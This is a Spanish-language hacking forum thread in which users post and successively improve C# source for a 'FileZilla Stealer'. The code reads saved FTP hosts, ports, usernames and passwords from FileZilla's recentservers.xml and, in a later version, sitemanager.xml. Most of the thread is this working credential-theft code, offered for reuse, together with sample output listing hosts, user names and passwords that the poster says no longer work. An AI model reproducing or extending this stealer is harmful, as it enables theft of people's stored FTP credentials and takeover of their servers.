Bueno debido a que visto otros filezillas stealer y me a parecido mas complejo decidi reducir todo ese codigo y cree el mio que es mas entendible a mi parecer

Código: Seleccionar todo

namespace FileZillaStealer

{
    class FileZillaStealer
    {
        public void FileZillaStealer()
        {
            //Nombre: Filezilla Stealer
            //Autor: Bloc
            //Fecha Publicada: 11/08/2013
            //Requerimientos: Dejar la fuente.

            string DocumentoXml = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\Filezilla\\recentservers.xml";
            string StrHost;
            string StrPort;
            string StrUser;
            string StrPass;
            DataSet Ds = new DataSet();
            Ds.ReadXml(DocumentoXml);
            StrHost = Ds.Tables["Server"].Rows[0]["Host"].ToString();
            StrPort = Ds.Tables["Server"].Rows[0]["Port"].ToString();
            StrUser = Ds.Tables["Server"].Rows[0]["User"].ToString();
            StrPass = Ds.Tables["Server"].Rows[0]["Pass"].ToString();
        }
    }
	}
Saludos y espero que les sirva
Skype: lBlader
Most-Security.net
Gracias Bloc!, le hice una pequeña mod a tu función.. espero no te moleste..
public string FileZillaStealer()
        {
            //Nombre: Filezilla Stealer
            //Autor: Bloc
            //Mod: Himanen
            //Fecha Publicada: 11/08/2013
            //Requerimientos: Dejar la fuente.

            string DocumentoXml = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\Filezilla\\recentservers.xml";

            DataSet Ds = new DataSet();
            Ds.ReadXml(DocumentoXml);
            int s = Ds.Tables["Server"].Rows.Count;

            string final = "";
            string[] StrHost = new string[s];
            string[] StrPort = new string[s];
            string[] StrUser = new string[s];
            string[] StrPass = new string[s];

            for (int i = 0; i <= s-1; i++)
            {
                StrHost[i] = Ds.Tables["Server"].Rows[i]["Host"].ToString();
                StrPort[i] = Ds.Tables["Server"].Rows[i]["Port"].ToString();
                StrUser[i] = Ds.Tables["Server"].Rows[i]["User"].ToString();
                StrPass[i] = Ds.Tables["Server"].Rows[i]["Pass"].ToString();
                final += "-----------------------------------" +
                         "Host: " + StrHost[i] + Environment.NewLine +
                         "Port: " + StrPort[i] + Environment.NewLine +
                         "User: " + StrUser[i] + Environment.NewLine +
                         "Pass: " + StrPass[i] + Environment.NewLine +
                         "-----------------------------------" + Environment.NewLine ;
            }


            return final;
        }
Retorna:

Código: Seleccionar todo

-----------------------------------
Host: ftp.movistar.com
Port: 21
User: [email protected]
Pass: Jsdge35479
-----------------------------------
-----------------------------------
Host: ftp.aeegdsaapist.com
Port: 21
User: arrukfdaer
Pass: ahsda4ag
-----------------------------------
-----------------------------------
Host: corporativosc.com.mx
Port: 21
User: ifrietrwhf34
Pass: exeaa739
-----------------------------------
-----------------------------------
Host: ftp.riphost.eu
Port: 21
User: [email protected]
Pass: kbtwrjerqs8qc
-----------------------------------
-----------------------------------
Host: ftp.fileserve.com
Port: 21
User: craaa4ear
Pass: 7ejwtr5c57
-----------------------------------
PD: los ftps no rulan.. aviso para que no perdáis el tiempo..

Salud!
Claro con la mod de Himanen los sacas todos y no solo uno XD, buen trabajo a los dos. Es realmente fácil hacer esto... Por eso no me gusta usar xml para almacenar configuraciones, filezilla debería de usar sqlite con los datos cifrados. Pero la mayoría de estos códigos que veo no están completos, tenéis que tener en cuenta que en "recentservers.xml" se almacena un pequeño historial de las ultimas conexiones que se hacen desde la pantalla de filezilla con la opción de conexión rápida. Sin embargo filezilla tiene un botón justo debajo de "Archivo" llamado gestor de sitios, donde almacenas todos los sitios que quieras para conectarte en cualquier momento sin escribir los datos... Pues estas conexiones no se quedan guardadas en "recentservers.xml" sino en "sitemanager.xml", hacer la prueba y ya podéis actualizar el code XD.

PD: por cierto Bloc te muevo el tema a VB/.NET, ahí es donde debería de ir todo lo de C# (.NET).

Saludos!
Soy un camaleón, en tu cama, leona ♪
Función actualizada.. gracias $DoC ni me di cuenta del sitemanager.xml xD

public string FileZillaStealer()
        {
            //Nombre: Filezilla Stealer
            //Autor: Bloc
            //Mod: Himanen
            //Fecha Publicada: 11/08/2013
            //Requerimientos: Dejar la fuente.

            string RecentServers = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\Filezilla\\recentservers.xml";
            string SiteManager = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + "\\Filezilla\\sitemanager.xml";

            DataSet Rs = new DataSet();
            Rs.ReadXml(RecentServers);

            DataSet Sm = new DataSet();
            Sm.ReadXml(SiteManager);

            int s = Rs.Tables["Server"].Rows.Count;
            int o = Sm.Tables["Server"].Rows.Count;

            string final = "Recent Servers:";

            string[] StrHost = new string[s];
            string[] StrPort = new string[s];
            string[] StrUser = new string[s];
            string[] StrPass = new string[s];

            string[] SmStrHost = new string[o];
            string[] SmStrPort = new string[o];
            string[] SmStrUser = new string[o];
            string[] SmStrPass = new string[o];

            for (int i = 0; i <= s-1; i++)
            {
                StrHost[i] = Rs.Tables["Server"].Rows[i]["Host"].ToString();
                StrPort[i] = Rs.Tables["Server"].Rows[i]["Port"].ToString();
                StrUser[i] = Rs.Tables["Server"].Rows[i]["User"].ToString();
                StrPass[i] = Rs.Tables["Server"].Rows[i]["Pass"].ToString();

                final += Environment.NewLine +
                         "-----------------------------------" + Environment.NewLine +
                         "Host: " + StrHost[i] + Environment.NewLine +
                         "Port: " + StrPort[i] + Environment.NewLine +
                         "User: " + StrUser[i] + Environment.NewLine +
                         "Pass: " + StrPass[i] + Environment.NewLine +
                         "-----------------------------------" + Environment.NewLine;
            }

            final += Environment.NewLine + "Site Manager:";

            for (int i = 0; i <= o-1; i++)
            {
               
                SmStrHost[i] = Sm.Tables["Server"].Rows[i]["Host"].ToString();
                SmStrPort[i] = Sm.Tables["Server"].Rows[i]["Port"].ToString();
                SmStrUser[i] = Sm.Tables["Server"].Rows[i]["User"].ToString();
                try
                {
                    SmStrPass[i] = Sm.Tables["Server"].Rows[i]["Pass"].ToString();
                }
                catch
                { }

                final += Environment.NewLine +
                         "-----------------------------------" + Environment.NewLine +
                         "Host: " + SmStrHost[i] + Environment.NewLine +
                         "Port: " + SmStrPort[i] + Environment.NewLine +
                         "User: " + SmStrUser[i] + Environment.NewLine +
                         "Pass: " + SmStrPass[i] + Environment.NewLine +
                         "-----------------------------------" + Environment.NewLine;
            

            }

            return final;
        }
Responder

Volver a “Fuentes”